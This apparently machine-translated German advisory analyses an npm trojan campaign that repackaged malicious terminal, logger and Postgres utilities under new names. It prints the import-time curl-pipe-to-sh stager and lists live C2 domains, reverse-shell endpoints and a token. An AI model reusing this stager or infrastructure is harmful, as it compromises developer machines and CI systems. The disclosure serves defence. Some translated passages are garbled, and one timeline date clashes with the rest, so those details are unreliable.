GhostTracker: npm-Trojaner in 74 Minuten umbenannt – gleicher C2-Server

GhostTracker: ein npm-Trojaner, der sich innerhalb weniger Stunden nach seiner Abschaltung umbenannte – und denselben C2-Server beibehielt.

TL; DR

Ein einzelner npm-Operator hat veröffentlicht fünf trojanisierte Pakete In zwei Runden innerhalb von drei Tagen werden die Pakete als winzige Terminalfarben-, Logger- und Postgres-Client-Dienstprogramme getarnt. Der Schadcode wird ausgeführt. in dem Moment, in dem das Paket importiert wird — Es gibt kein Installationsskript, das abgefangen werden könnte.

Runde eins (neon-terminal, neon-postgres, ne-logger) wurde am 05.07.2026 um 14:14 UTC aufgehoben. Vierundsiebzig Minuten später Derselbe Account hat denselben Trojaner unter neuen Namen erneut veröffentlicht (agn-terminal, agn-logger) — und richtete es auf den gleicher Befehls- und Kontrollendpunkt es hatte zuvor verwendet: tracker.bvgroup.co.

Dieser C2-Host ist der einzige Indikator, der die Umbenennung übersteht, und für einen Verteidiger das Schnellste, wonach er suchen kann. Schweregrad: HighsÖkosystem: npmDie Pakete der zweiten Runde waren zum Zeitpunkt des Verfassens dieses Artikels noch verfügbar.

Der Angriff: So funktioniert er

Die Pakete sind funktionale Köder. Öffnen agn-terminal und Sie finden einen vollständigen, funktionierenden ANSI-Farbassistenten — Codes, unterstützt Farbe, kolorieren, malen — mit Typen und einer README-Datei. Der Hilfscode funktioniert. Am Anfang des Einstiegsmoduls, über dem eigentlichen Code, befinden sich einige Zeilen, die beim Import ausgeführt werden.

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

Drei Dinge tragen zur Wirksamkeit bei.

  • Es wird beim Import ausgelöst, nicht bei der Installation. Das Paket deklariert keine Vorinstallation or Nachinstallation Aufhänger – der übliche Ort, an dem Scanner und Rezensenten suchen. exec Der Aufruf ist Code auf Modulebene. Er wird beim ersten Mal ausgeführt, wenn etwas passiert. require(“agn-terminal”) or import “agn-terminal”, auf dem Rechner des Entwicklers oder innerhalb der CI. Sowohl der ESM-Eintrag (src / index.js) und der CommonJS-Eintrag (cjs/src/index.js) die gleiche Nutzlast transportieren, sodass beide Modulsysteme abgedeckt sind.
  • Die eigentliche Nutzlast befindet sich außerhalb der Verpackung. Das Paket enthält nur einen einzeiligen Stager: fetch remote.agyn.org/remote.sh` und leiten Sie es weiter an Was auch immer der Betreiber zum Zeitpunkt der Anfrage von dieser URL bereitstellt, wird ausgeführt. Der C2-Endpunkt wird dem heruntergeladenen Skript über die TRACKER_REMOTE_ENDPOINT Umgebungsvariable, damit das Skript der zweiten Stufe eine Verbindung zum Server herstellt. tracker.bvgroup.co.
  • Ein Trägerpaket vergrößert den Explosionsradius. agn-logger ist ein zweiter Köder – ein „winziger globaler Logger“. Er hat keine eigene Nutzlast. Sein Einstiegsmodul tut eine relevante Sache:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

Es erklärt agn-terminal Der Logger wird als Abhängigkeit installiert und importiert. Die Installation oder der Import des Loggers lädt das Terminalpaket transitiv herunter und löst dessen Ausführung aus. Selbst ein Projekt, das den Trojaner nie direkt erwähnt, kann ihn über den Logger ausführen.

Was ist hier neu?

Die erste Runde verzichtete auf einen Remote-Stager. Die Payload wurde direkt im Quellcode ausgeliefert und schrittweise eskaliert – in einer Version eine Bash-Reverse-Shell, in einer anderen… net.Socket im nächsten Schritt eine umgekehrte Schale, eine git add/commit/drücken des Arbeitsverzeichnisses des Opfers in einem anderen Verzeichnis und schließlich ein vollständiger HTTP-Befehls- und Kontrollagent in Neon-Terminal 0.9.0, das den Host registrierte, nach Aufgaben suchte und diese ausführte mit exec ()und streamte die Base64-kodierte Ausgabe zurück. Die zweite Runde fasst all das zu einem einzigen Vorgang zusammen. Locke | shDie zweite Stufe wird vollständig aus dem Register entfernt. Derselbe Betreiber, ein unauffälligeres Paket, eine flexiblere Nutzlast – und, ganz entscheidend, dieselbe C2-Schnittstelle wie zuvor.

Geschichte

Datum (UTC) Event
2026-07-03 07:03 Runde eins veröffentlicht: neon-terminal (0.1.0 sauber, dann 0.2.0–0.9.0 bösartig), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05 neon-terminal bei Echtzeit-Scans markiert
2026-07-04 Bestätigt bösartig; Korrelation zeigt die Verbindung zwischen den beiden Paketen auf; erste Löschungsanträge eingereicht
2026-07-05 14:14 Runde eins unveröffentlicht – alle acht neon-terminal Versionen und Geschwister entfernt
2026-07-05 15:28 agn-terminal 0.1.0 veröffentlicht
2026-07-05 15:29 agn-logger 0.1.0 veröffentlicht — Anbieter für das neue Terminalpaket
31.12.2024 (laufend) Die Pakete für die zweite Runde sind zum Zeitpunkt der Veröffentlichung verfügbar.

Zwischen den beiden Runden liegen drei Tage, und die Zeitspanne zwischen Entfernung und Neustart betrug 74 Minuten. Die Kampagne ist eröffnet. agn-* Die Pakete waren zum Zeitpunkt der Erstellung dieses Dokuments noch nicht entfernt worden.

Kompromissindikatoren

Durchsuchen Sie Sperrdateien und Abhängigkeitsbäume nach Paketnamen. Durchsuchen Sie Proxy, DNS und EDR Protokolle für die Netzwerkendpunkte. Der C2-Host tracker.bvgroup.co Er erstreckt sich über beide Runden und ist der aussagekräftigste Einzelindikator.

Pakete

Verpackung Versionen Funktion / Rolle (Role) * Status
neon-terminal 0.2.0–0.9.0 Trojaner (Inline-Payloads → HTTP C2) unveröffentlicht
neon-postgres 3.5.2 Trojaner (Nutzlast in src/errors.js) unveröffentlicht
ne-logger 0.7.0 Anbieter (abhängig von neon-terminal) unveröffentlicht
agn-terminal 0.1.0 Trojaner (curl | sh Stager) leben
agn-logger 0.1.0 Anbieter (abhängig von agn-terminal) leben

Neon-Terminal Version 0.1.0 war eine saubere Ausgangsversion – eine funktionierende Farbbibliothek ohne Schadsoftware –, die veröffentlicht wurde, um das Paket zu etablieren, bevor die schädlichen Versionen folgten.

Netzwerk

Indikator Kontext
tracker.bvgroup.co/remote/… HTTP C2, beide Runden (Token der zweiten Runde) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.sh Zweite Runde, erste Phase des Laders
reverse.bvgroup.co:443 Endpunkt der ersten Runde der umgekehrten Hülle (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754 Runde - erste umgekehrte Schale (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852 Runde - erste umgekehrte Schale (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.io vom Bediener gesteuerte Domänen

Verhaltens-

  • Modulebene child_process.exec ganz oben in der Einstiegsdatei eines Hilfsprogrammpakets, in beiden src / index.js (ESM) und cjs/src/index.js (CJS).
  • A curl -fsSL … | sh Einzeiler mit C2 über einen TRACKER_REMOTE_ENDPOINT variable Umgebung
  • Ein zweites „Utility“-Paket, das das erste als Abhängigkeit deklariert und importiert, ohne selbst Nutzdaten zu enthalten.
  • Ein Überbleibsel // Neon-Anschluss Kommentar ganz oben agn-terminal — ein Copy-Paste-Artefakt, das die Neuausrichtung mit dem Original verbindet.

Dateihashes (SHA-256, zweite Runde)

  • agn-terminal src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • agn-terminal cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Attribution und beobachtetes Verhalten

Jedes Paket lässt sich auf ein npm-Konto zurückführen. vitalii-agynVeröffentlichung unter der nicht verifizierten E-Mail-Adresse vitalii@agyn.ioDie Metadaten der Registrierung des Kontos listen alle drei Pakete der ersten Runde als von diesem Konto verwaltet auf. Die Infrastruktur verbindet die Runden: die Domäne agyn.org entspricht den Vorgaben des Herausgebers agyn.io E-Mail-Domäne und der C2-Host tracker.bvgroup.co erscheint in beiden Neon-Terminal 0.9.0 und agn-terminal 0.1.0 — derselbe Sammlerpfad, nach der Umbenennung unverändert wiederverwendet.

Wir beschreiben, was die Artefakte zeigen, und belassen es dabei. Die angegebene E-Mail-Adresse des Herausgebers lautet: vitalii@agyn.ioWir haben die Inhaberschaft dieser Adresse nicht überprüft und ordnen das Konto keiner bestimmten Person oder Gruppe zu. Die Wiederverwendung eines C2-Endpunkts in zwei Paketfamilien ist ein starkes Indiz für denselben Betreiber, aber kein Identitätsnachweis.

Die Pakete der ersten Runde setzten auf Markennähe. neon-postgres war ein vollständiger Klon des weit verbreiteten Porsager-Modells postgres.js Kunde, Slogan und alles, mit der Nutzlast verstaut in src/errors.js Ein normaler Importpfad würde es also erreichen – und die Neon- Das Präfix leiht sich den Wiedererkennungswert von Neon, dem Serverless-Postgres-Anbieter. Die Namen der zweiten Runde verzichteten auf die Namensähnlichkeit und wurden generisch (agn-terminal, agn-logger), indem man die Markenbekanntheit gegen einen klareren Bruch mit den verbrannten Namen eintauscht.

 Auswirkungen, Trends und Leitlinien für Verteidiger

  • Wer wird entlarvt? Jeder, der eines dieser Pakete direkt oder über den Anbieter auf einem Unix-ähnlichen Host installiert und importiert. Der Stager verwendet curl und sh; die runden Einser-Munition verwendet bash und /dev/tcpDa die Ausführung beim Import erfolgt, genügt ein Build-Server, der die Abhängigkeit installiert und jeglichen Code ausführt, der diese Abhängigkeit verwendet – ein weiterer Schritt nach der Installation ist nicht erforderlich. Auf einer Entwickler-Workstation oder einem CI-Runner wird die heruntergeladene zweite Stufe mit den Benutzerrechten und vollem Netzwerkzugriff ausgeführt.
  • Warum die Ausführung zur Importzeit wichtig ist. Die Abwehrmaßnahmen in der Lieferkette konzentrierten sich bisher auf Installationsskripte, und das aus gutem Grund – die Postinstall-Phase ist der klassische Angriffspunkt für npm. Diese Kampagne umgeht diesen Punkt vollständig. Es gibt keinen Installations-Hook, der markiert werden könnte. Schadcode Es handelt sich um eine gewöhnliche Modulinitialisierung, die auf den ersten Blick nicht von der Berechnung einer Nachschlagetabelle durch ein Paket beim Laden zu unterscheiden ist. Tools, die lediglich die Skripte in der package.json-Datei untersuchen, erkennen nichts.
  • Der Trend zum Rebranding und zur Wiederverwendung. Die 74-minütige Bearbeitungszeit ist der entscheidende Punkt. Die Sperrung entfernte zwar die Namen, aber nicht den Betreiber, die Infrastruktur oder den Code. Innerhalb einer Stunde war die Kampagne unter neuen Namen und mit demselben C2-Server wieder online. Eine namensbasierte Sperrung – wie die Sperrung von neon-terminal – wäre bereits wirkungslos gewesen. Eine infrastrukturbasierte Sperrung – wie die Sperrung von bvgroup.co – hätte die zweite Runde sofort abgefangen. Für einen aktiven Betreiber, der schneller neue Inhalte veröffentlicht, als die Registrierungsstellen diese entfernen können, ist der Netzwerk-Endpunkt, nicht der Paketname, der entscheidende Indikator.

Was nun?

  • Durchsuchen Sie die Sperrdateien und Installationsverzeichnisse nach allen fünf oben genannten Paketnamen. Behandeln Sie jeden Treffer als kompromittierten Host und ändern Sie die von diesem Host aus erreichbaren Zugangsdaten.
  • Blockieren und Warnen für die Domains bvgroup.co, agyn.org, und die ngrok-Endpunkte in DNS und Egress-Filterung. tracker.bvgroup.co hat Priorität.
  • Verlassen Sie sich nicht allein auf das Scannen von Installations-Hooks. Fügen Sie eine Erkennung auf Modulebene hinzu. child_process und Netzwerkaufrufe in Abhängigkeiten, und für locken … | sh Muster im Quellcode des Pakets.
  • Ein Hilfsprogrammpaket, das ein anderes, wenig bekanntes Hilfsprogramm als einzige Abhängigkeit deklariert und dieses beim Laden importiert, sollte man genauer unter die Lupe nehmen.
  • In CI bevorzugen –Ignore-Skripte Wo dies praktikabel ist, aber verstehen Sie, dass es hier nicht hilft - die Nutzlast wird beim Import ausgeführt, daher sind Laufzeit-Ausgangskontrollen und Abhängigkeitsprüfung wichtiger.

Referenzen

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
Sichern Sie sich Ihr kostenloses Konto.
Keine Kreditkarte erforderlich.

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite